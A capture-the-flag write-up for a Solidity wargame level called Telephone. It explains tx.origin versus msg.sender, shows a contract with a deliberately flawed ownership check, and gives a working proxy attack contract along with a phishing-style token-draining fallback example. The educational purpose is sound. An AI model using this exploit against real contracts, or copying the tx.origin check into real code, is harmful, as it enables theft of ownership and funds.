✅Telephone
tx.origin
Description
Claim ownership of the contract below to complete this level.
Things that might help:
See the Help page above, section "Beyond the console"
Background Knowledge
tx.origin
tx.origintx.origin is like msg.sender, but it is vulnerable.
tx.origin:the original user wallet that initiated the transaction
the origin address of potentially an entire chain of transactions and calls
only user wallet addresses can be the
tx.origin, not contract address
msg.sender:both user wallets and smart contracts can be the
msg.senderchecks where the external function call directly came from
Code Audit
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}To hack the contract and claim ownership all we need to do is to create a new malicious contract and encourage the owner to call a specific function that under the hood will change the ownership. Let's think about that like a phishing attack.
Solution
Write a "proxy" contract in Remix IDE:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './Telephone.sol';
contract TelephoneAttack {
Telephone telephone;
constructor(address _address) public {
telephone = Telephone(_address);
}
function changeOwner(address _address) public {
telephone.changeOwner(_address);
}
}When we call changeOwner() from the TelephoneAttack contract, tx.origin is our Metamask wallet address. When telephone.changeOwner(_address) is triggered, msg.sender is address of the TelephoneAttack contract. This satisfies the if (tx.origin != msg.sender) check and thus owner will be updated to the _owner argument we passed into the changeOwner() function call.
Deploy it and feed in the original contract address:

Feed in your Metamask wallet address and click "changeOwner":

Click "Submit instance" and move on to the next level.
Summary
While this example may be simple, confusing tx.origin with msg.sender can lead to phishing-style attacks, such as this.
An example of a possible attack is outlined below.
Use
tx.originto determine whose tokens to transfer, e.g.
function transfer(address _to, uint _value) {
tokens[tx.origin] -= _value;
tokens[_to] += _value;
}Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.
function () payable {
token.transfer(attackerAddress, 10000);
}In this scenario,
tx.originwill be the victim's address (whilemsg.senderwill be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.
Last updated